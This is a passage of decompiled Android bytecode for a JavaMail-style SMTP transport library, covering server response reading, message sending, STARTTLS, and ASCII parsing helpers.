0000059C iget-object v3, p0, SMTPTransport->validSentAddr:[Address
000005A0 aget-object v3, v3, v0
000005A4 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v3
000005AA move-result-object v2
000005AC invoke-virtual StringBuilder->toString()String, v2
000005B2 move-result-object v2
000005B4 invoke-virtual PrintStream->println(String)V, v1, v2
000005BA add-int/lit8 v0, v0, 0x1
000005BE goto/16 :1DC
:5C2
000005C2 iget-object v1, p0, SMTPTransport->out:PrintStream
000005C6 new-instance v2, StringBuilder
000005CA const-string v3, "DEBUG SMTP: "
000005CE invoke-direct StringBuilder-><init>(String)V, v2, v3
000005D4 iget-object v3, p0, SMTPTransport->validUnsentAddr:[Address
000005D8 aget-object v3, v3, v0
000005DC invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v3
000005E2 move-result-object v2
000005E4 invoke-virtual StringBuilder->toString()String, v2
000005EA move-result-object v2
000005EC invoke-virtual PrintStream->println(String)V, v1, v2
000005F2 add-int/lit8 v0, v0, 0x1
000005F6 goto/16 :208
:5FA
000005FA iget-object v1, p0, SMTPTransport->out:PrintStream
000005FE new-instance v2, StringBuilder
00000602 const-string v3, "DEBUG SMTP: "
00000606 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000060C iget-object v3, p0, SMTPTransport->invalidAddr:[Address
00000610 aget-object v3, v3, v0
00000614 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v3
0000061A move-result-object v2
0000061C invoke-virtual StringBuilder->toString()String, v2
00000622 move-result-object v2
00000624 invoke-virtual PrintStream->println(String)V, v1, v2
0000062A add-int/lit8 v0, v0, 0x1
0000062E goto/16 :234
:632
00000632 move-exception v0
:634
00000634 invoke-virtual SMTPTransport->close()V, p0
:63A
0000063A iput-object v1, p0, SMTPTransport->lastServerResponse:String
0000063E iput v2, p0, SMTPTransport->lastReturnCode:I
00000642 goto/16 :298
:646
00000646 move-exception v0
:648
00000648 iget-boolean v3, p0, SMTPTransport->debug:Z
0000064C if-eqz v3, :63A
:650
00000650 iget-object v3, p0, SMTPTransport->out:PrintStream
00000654 invoke-virtual MessagingException->printStackTrace(PrintStream)V, v0, v3
:65A
0000065A goto :63A
:65C
0000065C move-exception v0
0000065E iput-object v1, p0, SMTPTransport->lastServerResponse:String
00000662 iput v2, p0, SMTPTransport->lastReturnCode:I
00000666 throw v0
:668
00000668 return-void
:66A
0000066A move-object v8, v5
0000066C goto/16 :32A
:670
00000670 move v3, v2
00000672 move-object v2, v0
00000674 goto/16 :136
:678
00000678 move v3, v2
0000067A move-object v2, v0
0000067C goto/16 :136
:680
00000680 move v1, v0
00000682 goto/16 :A4
.catch MessagingException {:27A .. :290} :632
.catchall {:27A .. :290} :65C
.catch MessagingException {:634 .. :63A} :646
.catchall {:634 .. :63A} :65C
.catchall {:648 .. :65A} :65C
00000688 .sparse-switch
0xFA -> :37E
0xFB -> :37E
0x1C2 -> :3E6
0x1C3 -> :3E6
0x1C4 -> :3E6
0x1F5 -> :3B6
0x1F7 -> :3B6
0x226 -> :3B6
0x227 -> :3B6
0x228 -> :3E6
0x229 -> :3B6
.end sparse-switch
.end method
.method protected readServerResponse()I
.registers 7
00000000 const/4 v4, 0x3
00000002 const/4 v5, 0x0
00000004 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000006 sget-boolean v1, SMTPTransport->$assertionsDisabled:Z
0000000A if-nez v1, :26
:E
0000000E invoke-static Thread->holdsLock(Object)Z, p0
00000014 move-result v1
00000016 if-nez v1, :26
:1A
0000001A new-instance v0, AssertionError
0000001E invoke-direct AssertionError-><init>()V, v0
00000024 throw v0
:26
00000026 const-string v1, ""
0000002A new-instance v1, StringBuffer
0000002E const/16 v2, 0x64
00000032 invoke-direct StringBuffer-><init>(I)V, v1, v2
:38
00000038 iget-object v2, p0, SMTPTransport->lineInputStream:LineInputStream
0000003C invoke-virtual LineInputStream->readLine()String, v2
00000042 move-result-object v2
00000044 if-nez v2, :9C
:48
00000048 invoke-virtual StringBuffer->toString()String, v1
0000004E move-result-object v1
00000050 invoke-virtual String->length()I, v1
00000056 move-result v2
00000058 if-nez v2, :60
:5C
0000005C const-string v1, "[EOF]"
:60
00000060 iput-object v1, p0, SMTPTransport->lastServerResponse:String
00000064 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000066 iput v2, p0, SMTPTransport->lastReturnCode:I
0000006A iget-boolean v2, p0, SMTPTransport->debug:Z
0000006E if-eqz v2, :9A
:72
00000072 iget-object v2, p0, SMTPTransport->out:PrintStream
00000076 new-instance v3, StringBuilder
0000007A const-string v4, "DEBUG SMTP: EOF: "
0000007E invoke-direct StringBuilder-><init>(String)V, v3, v4
00000084 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
0000008A move-result-object v1
0000008C invoke-virtual StringBuilder->toString()String, v1
00000092 move-result-object v1
00000094 invoke-virtual PrintStream->println(String)V, v2, v1
:9A
0000009A return v0
:9C
0000009C invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
000000A2 const-string v3, "\n"
000000A6 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v3
000000AC invoke-direct SMTPTransport->isNotLastLine(String)Z, p0, v2
000000B2 move-result v2
000000B4 if-nez v2, :38
:B8
000000B8 invoke-virtual StringBuffer->toString()String, v1
:BE
000000BE move-result-object v2
000000C0 if-eqz v2, :1B6
:C4
000000C4 invoke-virtual String->length()I, v2
000000CA move-result v1
000000CC if-lt v1, v4, :1B6
:D0
000000D0 const/4 v1, 0x0
000000D2 const/4 v3, 0x3
:D4
000000D4 invoke-virtual String->substring(I, I)String, v2, v1, v3
000000DA move-result-object v1
000000DC invoke-static Integer->parseInt(String)I, v1
:E2
000000E2 move-result v1
:E4
000000E4 if-ne v1, v0, :118
:E8
000000E8 iget-boolean v0, p0, SMTPTransport->debug:Z
000000EC if-eqz v0, :118
:F0
000000F0 iget-object v0, p0, SMTPTransport->out:PrintStream
000000F4 new-instance v3, StringBuilder
000000F8 const-string v4, "DEBUG SMTP: bad server response: "
000000FC invoke-direct StringBuilder-><init>(String)V, v3, v4
00000102 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v2
00000108 move-result-object v3
0000010A invoke-virtual StringBuilder->toString()String, v3
00000110 move-result-object v3
00000112 invoke-virtual PrintStream->println(String)V, v0, v3
:118
00000118 iput-object v2, p0, SMTPTransport->lastServerResponse:String
0000011C iput v1, p0, SMTPTransport->lastReturnCode:I
00000120 move v0, v1
00000122 goto :9A
:124
00000124 move-exception v0
00000126 iget-boolean v1, p0, SMTPTransport->debug:Z
0000012A if-eqz v1, :156
:12E
0000012E iget-object v1, p0, SMTPTransport->out:PrintStream
00000132 new-instance v2, StringBuilder
00000136 const-string v3, "DEBUG SMTP: exception reading response: "
0000013A invoke-direct StringBuilder-><init>(String)V, v2, v3
00000140 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000146 move-result-object v2
00000148 invoke-virtual StringBuilder->toString()String, v2
0000014E move-result-object v2
00000150 invoke-virtual PrintStream->println(String)V, v1, v2
:156
00000156 const-string v1, ""
0000015A iput-object v1, p0, SMTPTransport->lastServerResponse:String
0000015E iput v5, p0, SMTPTransport->lastReturnCode:I
00000162 new-instance v1, MessagingException
00000166 const-string v2, "Exception reading response"
0000016A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000170 throw v1
:172
00000172 move-exception v1
:174
00000174 invoke-virtual SMTPTransport->close()V, p0
:17A
0000017A move v1, v0
0000017C goto :E4
:17E
0000017E move-exception v1
00000180 iget-boolean v3, p0, SMTPTransport->debug:Z
00000184 if-eqz v3, :17A
:188
00000188 iget-object v3, p0, SMTPTransport->out:PrintStream
0000018C invoke-virtual MessagingException->printStackTrace(PrintStream)V, v1, v3
00000192 goto :17A
:194
00000194 move-exception v1
:196
00000196 invoke-virtual SMTPTransport->close()V, p0
:19C
0000019C move v1, v0
0000019E goto :E4
:1A0
000001A0 move-exception v1
000001A2 iget-boolean v3, p0, SMTPTransport->debug:Z
000001A6 if-eqz v3, :19C
:1AA
000001AA iget-object v3, p0, SMTPTransport->out:PrintStream
000001AE invoke-virtual MessagingException->printStackTrace(PrintStream)V, v1, v3
000001B4 goto :19C
:1B6
000001B6 move v1, v0
000001B8 goto :E4
.catch IOException {:38 .. :BE} :124
.catch NumberFormatException {:D4 .. :E2} :172
.catch StringIndexOutOfBoundsException {:D4 .. :E2} :194
.catch MessagingException {:174 .. :17A} :17E
.catch MessagingException {:196 .. :19C} :1A0
.end method
.method protected sendCommand(String)V
.registers 3
00000000 invoke-static ASCIIUtility->getBytes(String)[B, p1
00000006 move-result-object v0
00000008 invoke-direct SMTPTransport->sendCommand([B)V, p0, v0
0000000E return-void
.end method
.method public declared-synchronized sendMessage(Message, [Address)V
.registers 12
00000000 const/4 v2, 0x1
00000002 const/4 v3, 0x0
00000004 monitor-enter p0
:6
00000006 invoke-virtual SMTPTransport->checkConnected()V, p0
0000000C instance-of v1, p1, MimeMessage
00000010 if-nez v1, :40
:14
00000014 iget-boolean v1, p0, SMTPTransport->debug:Z
00000018 if-eqz v1, :2A
:1C
0000001C iget-object v1, p0, SMTPTransport->out:PrintStream
00000020 const-string v2, "DEBUG SMTP: Can only send RFC822 msgs"
00000024 invoke-virtual PrintStream->println(String)V, v1, v2
:2A
0000002A new-instance v1, MessagingException
0000002E const-string v2, "SMTP can only send RFC822 messages"
00000032 invoke-direct MessagingException-><init>(String)V, v1, v2
00000038 throw v1
:3A
0000003A move-exception v1
0000003C monitor-exit p0
0000003E throw v1
:40
00000040 move v1, v3
:42
00000042 array-length v4, p2
00000044 if-lt v1, v4, :20C
:48
00000048 move-object v0, p1
0000004A check-cast v0, MimeMessage
0000004E move-object v1, v0
00000050 iput-object v1, p0, SMTPTransport->message:MimeMessage
00000054 iput-object p2, p0, SMTPTransport->addresses:[Address
00000058 iput-object p2, p0, SMTPTransport->validUnsentAddr:[Address
0000005C invoke-direct SMTPTransport->expandGroups()V, p0
00000062 instance-of v1, p1, SMTPMessage
00000066 if-eqz v1, :2F0
:6A
0000006A check-cast p1, SMTPMessage
0000006E invoke-virtual SMTPMessage->getAllow8bitMIME()Z, p1
00000074 move-result v1
:76
00000076 if-nez v1, :CA
:7A
0000007A iget-object v1, p0, SMTPTransport->session:Session
0000007E new-instance v4, StringBuilder
00000082 const-string v5, "mail."
00000086 invoke-direct StringBuilder-><init>(String)V, v4, v5
0000008C iget-object v5, p0, SMTPTransport->name:String
00000090 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
00000096 move-result-object v4
00000098 const-string v5, ".allow8bitmime"
0000009C invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
000000A2 move-result-object v4
000000A4 invoke-virtual StringBuilder->toString()String, v4
000000AA move-result-object v4
000000AC invoke-virtual Session->getProperty(String)String, v1, v4
000000B2 move-result-object v1
000000B4 if-eqz v1, :256
:B8
000000B8 const-string v4, "true"
000000BC invoke-virtual String->equalsIgnoreCase(String)Z, v1, v4
000000C2 move-result v1
000000C4 if-eqz v1, :256
:C8
000000C8 move v1, v2
:CA
000000CA iget-boolean v2, p0, SMTPTransport->debug:Z
000000CE if-eqz v2, :FA
:D2
000000D2 iget-object v2, p0, SMTPTransport->out:PrintStream
000000D6 new-instance v3, StringBuilder
000000DA const-string v4, "DEBUG SMTP: use8bit "
000000DE invoke-direct StringBuilder-><init>(String)V, v3, v4
000000E4 invoke-virtual StringBuilder->append(Z)StringBuilder, v3, v1
000000EA move-result-object v3
000000EC invoke-virtual StringBuilder->toString()String, v3
000000F2 move-result-object v3
000000F4 invoke-virtual PrintStream->println(String)V, v2, v3
:FA
000000FA if-eqz v1, :128
:FE
000000FE const-string v1, "8BITMIME"
00000102 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v1
00000108 move-result v1
0000010A if-eqz v1, :128
:10E
0000010E iget-object v1, p0, SMTPTransport->message:MimeMessage
00000112 invoke-direct SMTPTransport->convertTo8Bit(MimePart)Z, p0, v1
:118
00000118 move-result v1
0000011A if-eqz v1, :128
:11E
0000011E iget-object v1, p0, SMTPTransport->message:MimeMessage
00000122 invoke-virtual MimeMessage->saveChanges()V, v1
:128
00000128 invoke-virtual SMTPTransport->mailFrom()V, p0
0000012E invoke-virtual SMTPTransport->rcptTo()V, p0
00000134 iget-object v1, p0, SMTPTransport->message:MimeMessage
00000138 invoke-virtual SMTPTransport->data()OutputStream, p0
0000013E move-result-object v2
00000140 sget-object v3, SMTPTransport->ignoreList:[String
00000144 invoke-virtual MimeMessage->writeTo(OutputStream, [String)V, v1, v2, v3
0000014A invoke-virtual SMTPTransport->finishData()V, p0
00000150 iget-boolean v1, p0, SMTPTransport->sendPartiallyFailed:Z
00000154 if-eqz v1, :25C
:158
00000158 iget-boolean v1, p0, SMTPTransport->debug:Z
0000015C if-eqz v1, :16E
:160
00000160 iget-object v1, p0, SMTPTransport->out:PrintStream
00000164 const-string v2, "DEBUG SMTP: Sending partially failed because of invalid destination addresses"
00000168 invoke-virtual PrintStream->println(String)V, v1, v2
:16E
0000016E const/4 v2, 0x3
00000170 iget-object v3, p0, SMTPTransport->validSentAddr:[Address
00000174 iget-object v4, p0, SMTPTransport->validUnsentAddr:[Address
00000178 iget-object v5, p0, SMTPTransport->invalidAddr:[Address
0000017C iget-object v6, p0, SMTPTransport->message:MimeMessage
00000180 move-object v1, p0
00000182 invoke-virtual/range SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
00000188 new-instance v1, SMTPSendFailedException
0000018C const-string v2, "."
00000190 iget v3, p0, SMTPTransport->lastReturnCode:I
00000194 iget-object v4, p0, SMTPTransport->lastServerResponse:String
00000198 iget-object v5, p0, SMTPTransport->exception:MessagingException
0000019C iget-object v6, p0, SMTPTransport->validSentAddr:[Address
000001A0 iget-object v7, p0, SMTPTransport->validUnsentAddr:[Address
000001A4 iget-object v8, p0, SMTPTransport->invalidAddr:[Address
000001A8 invoke-direct/range SMTPSendFailedException-><init>(String, I, String, Exception, [Address, [Address, [Address)V, v1 .. v8
000001AE throw v1
:1B0
000001B0 move-exception v1
000001B2 move-object v7, v1
:1B4
000001B4 iget-boolean v1, p0, SMTPTransport->debug:Z
000001B8 if-eqz v1, :1C6
:1BC
000001BC iget-object v1, p0, SMTPTransport->out:PrintStream
000001C0 invoke-virtual MessagingException->printStackTrace(PrintStream)V, v7, v1
:1C6
000001C6 const/4 v2, 0x2
000001C8 iget-object v3, p0, SMTPTransport->validSentAddr:[Address
000001CC iget-object v4, p0, SMTPTransport->validUnsentAddr:[Address
000001D0 iget-object v5, p0, SMTPTransport->invalidAddr:[Address
000001D4 iget-object v6, p0, SMTPTransport->message:MimeMessage
000001D8 move-object v1, p0
000001DA invoke-virtual/range SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
000001E0 throw v7
:1E2
000001E2 move-exception v1
000001E4 const/4 v2, 0x0
:1E6
000001E6 iput-object v2, p0, SMTPTransport->invalidAddr:[Address
000001EA iput-object v2, p0, SMTPTransport->validUnsentAddr:[Address
000001EE iput-object v2, p0, SMTPTransport->validSentAddr:[Address
000001F2 const/4 v2, 0x0
000001F4 iput-object v2, p0, SMTPTransport->addresses:[Address
000001F8 const/4 v2, 0x0
000001FA iput-object v2, p0, SMTPTransport->message:MimeMessage
000001FE const/4 v2, 0x0
00000200 iput-object v2, p0, SMTPTransport->exception:MessagingException
00000204 const/4 v2, 0x0
00000206 iput-boolean v2, p0, SMTPTransport->sendPartiallyFailed:Z
0000020A throw v1
:20C
0000020C aget-object v4, p2, v1
00000210 instance-of v4, v4, InternetAddress
00000214 if-nez v4, :24E
:218
00000218 new-instance v2, MessagingException
0000021C new-instance v3, StringBuilder
00000220 invoke-direct StringBuilder-><init>()V, v3
00000226 aget-object v1, p2, v1
0000022A invoke-virtual StringBuilder->append(Object)StringBuilder, v3, v1
00000230 move-result-object v1
00000232 const-string v3, " is not an InternetAddress"
00000236 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
0000023C move-result-object v1
0000023E invoke-virtual StringBuilder->toString()String, v1
00000244 move-result-object v1
00000246 invoke-direct MessagingException-><init>(String)V, v2, v1
0000024C throw v2
:24E
0000024E add-int/lit8 v1, v1, 0x1
00000252 goto/16 :42
:256
00000256 move v1, v3
00000258 goto/16 :CA
:25C
0000025C const/4 v2, 0x1
:25E
0000025E iget-object v3, p0, SMTPTransport->validSentAddr:[Address
00000262 iget-object v4, p0, SMTPTransport->validUnsentAddr:[Address
00000266 iget-object v5, p0, SMTPTransport->invalidAddr:[Address
0000026A iget-object v6, p0, SMTPTransport->message:MimeMessage
0000026E move-object v1, p0
00000270 invoke-virtual/range SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
:276
00000276 const/4 v1, 0x0
:278
00000278 iput-object v1, p0, SMTPTransport->invalidAddr:[Address
0000027C iput-object v1, p0, SMTPTransport->validUnsentAddr:[Address
00000280 iput-object v1, p0, SMTPTransport->validSentAddr:[Address
00000284 const/4 v1, 0x0
00000286 iput-object v1, p0, SMTPTransport->addresses:[Address
0000028A const/4 v1, 0x0
0000028C iput-object v1, p0, SMTPTransport->message:MimeMessage
00000290 const/4 v1, 0x0
00000292 iput-object v1, p0, SMTPTransport->exception:MessagingException
00000296 const/4 v1, 0x0
00000298 iput-boolean v1, p0, SMTPTransport->sendPartiallyFailed:Z
:29C
0000029C monitor-exit p0
0000029E return-void
:2A0
000002A0 move-exception v1
000002A2 move-object v7, v1
:2A4
000002A4 iget-boolean v1, p0, SMTPTransport->debug:Z
000002A8 if-eqz v1, :2B6
:2AC
000002AC iget-object v1, p0, SMTPTransport->out:PrintStream
000002B0 invoke-virtual IOException->printStackTrace(PrintStream)V, v7, v1
:2B6
000002B6 invoke-direct SMTPTransport->closeConnection()V, p0
:2BC
000002BC const/4 v2, 0x2
:2BE
000002BE iget-object v3, p0, SMTPTransport->validSentAddr:[Address
000002C2 iget-object v4, p0, SMTPTransport->validUnsentAddr:[Address
000002C6 iget-object v5, p0, SMTPTransport->invalidAddr:[Address
000002CA iget-object v6, p0, SMTPTransport->message:MimeMessage
000002CE move-object v1, p0
000002D0 invoke-virtual/range SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
000002D6 new-instance v1, MessagingException
000002DA const-string v2, "IOException while sending message"
000002DE invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v7
000002E4 throw v1
:2E6
000002E6 move-exception v1
000002E8 goto :2BC
:2EA
000002EA move-exception v1
000002EC goto/16 :128
:2F0
000002F0 move v1, v3
000002F2 goto/16 :76
.catchall {:6 .. :3A} :3A
.catchall {:42 .. :118} :3A
.catch MessagingException {:11E .. :128} :2EA
.catchall {:11E .. :128} :3A
.catch MessagingException {:128 .. :1B0} :1B0
.catch IOException {:128 .. :1B0} :2A0
.catchall {:128 .. :1B0} :1E2
.catchall {:1B4 .. :1E2} :1E2
.catchall {:1E6 .. :24E} :3A
.catch MessagingException {:25E .. :276} :1B0
.catch IOException {:25E .. :276} :2A0
.catchall {:25E .. :276} :1E2
.catchall {:278 .. :29C} :3A
.catchall {:2A4 .. :2B6} :1E2
.catch MessagingException {:2B6 .. :2BC} :2E6
.catchall {:2B6 .. :2BC} :1E2
.catchall {:2BE .. :2E6} :1E2
.end method
.method public declared-synchronized setLocalHost(String)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, SMTPTransport->localHostName:String
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setReportSuccess(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, SMTPTransport->reportSuccess:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setSASLRealm(String)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, SMTPTransport->saslRealm:String
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setStartTLS(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, SMTPTransport->useStartTLS:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setUseRset(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, SMTPTransport->useRset:Z
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized simpleCommand(String)I
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-virtual SMTPTransport->sendCommand(String)V, p0, p1
00000008 invoke-virtual SMTPTransport->readServerResponse()I, p0
:E
0000000E move-result v0
00000010 monitor-exit p0
00000012 return v0
:14
00000014 move-exception v0
00000016 monitor-exit p0
00000018 throw v0
.catchall {:2 .. :E} :14
.end method
.method protected simpleCommand([B)I
.registers 3
00000000 sget-boolean v0, SMTPTransport->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 invoke-direct SMTPTransport->sendCommand([B)V, p0, p1
00000026 invoke-virtual SMTPTransport->readServerResponse()I, p0
0000002C move-result v0
0000002E return v0
.end method
.method protected startTLS()V
.registers 5
00000000 const-string v0, "STARTTLS"
00000004 const/16 v1, 0xDC
00000008 invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v0, v1
:E
0000000E iget-object v0, p0, SMTPTransport->serverSocket:Socket
00000012 iget-object v1, p0, SMTPTransport->session:Session
00000016 invoke-virtual Session->getProperties()Properties, v1
0000001C move-result-object v1
0000001E new-instance v2, StringBuilder
00000022 const-string v3, "mail."
00000026 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000002C iget-object v3, p0, SMTPTransport->name:String
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000036 move-result-object v2
00000038 invoke-virtual StringBuilder->toString()String, v2
0000003E move-result-object v2
00000040 invoke-static SocketFetcher->startTLS(Socket, Properties, String)Socket, v0, v1, v2
00000046 move-result-object v0
00000048 iput-object v0, p0, SMTPTransport->serverSocket:Socket
0000004C invoke-direct SMTPTransport->initStreams()V, p0
:52
00000052 return-void
:54
00000054 move-exception v0
00000056 invoke-direct SMTPTransport->closeConnection()V, p0
0000005C new-instance v1, MessagingException
00000060 const-string v2, "Could not convert socket to TLS"
00000064 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000006A throw v1
.catch IOException {:E .. :52} :54
.end method
.method protected supportsAuthentication(String)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 sget-boolean v0, SMTPTransport->$assertionsDisabled:Z
00000006 if-nez v0, :22
:A
0000000A invoke-static Thread->holdsLock(Object)Z, p0
00000010 move-result v0
00000012 if-nez v0, :22
:16
00000016 new-instance v0, AssertionError
0000001A invoke-direct AssertionError-><init>()V, v0
00000020 throw v0
:22
00000022 iget-object v0, p0, SMTPTransport->extMap:Hashtable
00000026 if-nez v0, :2E
:2A
0000002A move v0, v1
:2C
0000002C return v0
:2E
0000002E iget-object v0, p0, SMTPTransport->extMap:Hashtable
00000032 const-string v2, "AUTH"
00000036 invoke-virtual Hashtable->get(Object)Object, v0, v2
0000003C move-result-object v0
0000003E check-cast v0, String
00000042 if-nez v0, :4A
:46
00000046 move v0, v1
00000048 goto :2C
:4A
0000004A new-instance v2, StringTokenizer
0000004E invoke-direct StringTokenizer-><init>(String)V, v2, v0
:54
00000054 invoke-virtual StringTokenizer->hasMoreTokens()Z, v2
0000005A move-result v0
0000005C if-nez v0, :64
:60
00000060 move v0, v1
00000062 goto :2C
:64
00000064 invoke-virtual StringTokenizer->nextToken()String, v2
0000006A move-result-object v0
0000006C invoke-virtual String->equalsIgnoreCase(String)Z, v0, p1
00000072 move-result v0
00000074 if-eqz v0, :54
:78
00000078 const/4 v0, 0x1
0000007A goto :2C
.end method
.method public supportsExtension(String)Z
.registers 4
00000000 iget-object v0, p0, SMTPTransport->extMap:Hashtable
00000004 if-eqz v0, :28
:8
00000008 iget-object v0, p0, SMTPTransport->extMap:Hashtable
0000000C sget-object v1, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toUpperCase(Locale)String, p1, v1
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->get(Object)Object, v0, v1
0000001E move-result-object v0
00000020 if-eqz v0, :28
:24
00000024 const/4 v0, 0x1
:26
00000026 return v0
:28
00000028 const/4 v0, 0x0
0000002A goto :26
.end method
#--------------------------------------------------------------------------------
.class public SMTPSSLTransport
.super SMTPTransport
.source ""
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "smtps"
00000004 const/16 v4, 0x1D1
00000008 const/4 v5, 0x1
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range SMTPTransport-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
#--------------------------------------------------------------------------------
.class public SMTPSendFailedException
.super SendFailedException
.source ""
.field private static final serialVersionUID:J = 0x6FB43A627EF24A1EL
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I
.method public constructor <init>(String, I, String, Exception, [Address, [Address, [Address)V
.registers 14
00000000 move-object v0, p0
00000002 move-object v1, p3
00000004 move-object v2, p4
00000006 move-object v3, p5
00000008 move-object v4, p6
0000000A move-object v5, p7
0000000C invoke-direct/range SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
00000012 iput-object p1, p0, SMTPSendFailedException->cmd:String
00000016 iput p2, p0, SMTPSendFailedException->rc:I
0000001A return-void
.end method
.method public getCommand()String
.registers 2
00000000 iget-object v0, p0, SMTPSendFailedException->cmd:String
00000004 return-object v0
.end method
.method public getReturnCode()I
.registers 2
00000000 iget v0, p0, SMTPSendFailedException->rc:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public ASCIIUtility
.super Object
.source ""
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getBytes(InputStream)[B
.registers 7
00000000 const/4 v5, 0x0
00000002 const/16 v0, 0x400
00000006 instance-of v1, p0, ByteArrayInputStream
0000000A if-eqz v1, :22
:E
0000000E invoke-virtual InputStream->available()I, p0
00000014 move-result v1
00000016 new-array v0, v1, [B
0000001A invoke-virtual InputStream->read([B, I, I)I, p0, v0, v5, v1
:20
00000020 return-object v0
:22
00000022 new-instance v1, ByteArrayOutputStream
00000026 invoke-direct ByteArrayOutputStream-><init>()V, v1
0000002C new-array v2, v0, [B
:30
00000030 invoke-virtual InputStream->read([B, I, I)I, p0, v2, v5, v0
00000036 move-result v3
00000038 const/4 v4, 0xFFFFFFFFFFFFFFFF
0000003A if-ne v3, v4, :48
:3E
0000003E invoke-virtual ByteArrayOutputStream->toByteArray()[B, v1
00000044 move-result-object v0
00000046 goto :20
:48
00000048 invoke-virtual ByteArrayOutputStream->write([B, I, I)V, v1, v2, v5, v3
0000004E goto :30
.end method
.method public static getBytes(String)[B
.registers 7
00000000 invoke-virtual String->toCharArray()[C, p0
00000006 move-result-object v2
00000008 array-length v3, v2
0000000A new-array v4, v3, [B
0000000E const/4 v0, 0x0
:10
00000010 if-lt v0, v3, :16
:14
00000014 return-object v4
:16
00000016 add-int/lit8 v1, v0, 0x1
0000001A aget-char v5, v2, v0
0000001E int-to-byte v5, v5
00000020 aput-byte v5, v4, v0
00000024 move v0, v1
00000026 goto :10
.end method
.method public static parseInt([B, I, I)I
.registers 4
00000000 const/16 v0, 0xA
00000004 invoke-static ASCIIUtility->parseInt([B, I, I, I)I, p0, p1, p2, v0
0000000A move-result v0
0000000C return v0
.end method
.method public static parseInt([B, I, I, I)I
.registers 12
00000000 const/4 v3, 0x0
00000002 if-nez p0, :16
:6
00000006 new-instance v0, NumberFormatException
0000000A const-string v1, "null"
0000000E invoke-direct NumberFormatException-><init>(String)V, v0, v1
00000014 throw v0
:16
00000016 if-le p2, p1, :FC
:1A
0000001A aget-byte v0, p0, p1
0000001E const/16 v1, 0x2D
00000022 if-ne v0, v1, :80
:26
00000026 const/4 v2, 0x1
00000028 const/high16 v0, 0xFFFFFFFF80000000
0000002C add-int/lit8 v1, p1, 0x1
:30
00000030 div-int v5, v0, p3
00000034 if-ge v1, p2, :120
:38
00000038 add-int/lit8 v3, v1, 0x1
0000003C aget-byte v1, p0, v1
00000040 int-to-char v1, v1
00000042 invoke-static Character->digit(C, I)I, v1, p3
00000048 move-result v1
0000004A if-gez v1, :8C
:4E
0000004E new-instance v0, NumberFormatException
00000052 new-instance v1, StringBuilder
00000056 const-string v2, "illegal number: "
0000005A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000060 invoke-static ASCIIUtility->toString([B, I, I)String, p0, p1, p2
00000066 move-result-object v2
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000006E move-result-object v1
00000070 invoke-virtual StringBuilder->toString()String, v1
00000076 move-result-object v1
00000078 invoke-direct NumberFormatException-><init>(String)V, v0, v1
0000007E throw v0
:80
00000080 const v0, 0xFFFFFFFF80000001
00000086 move v1, p1
00000088 move v2, v3
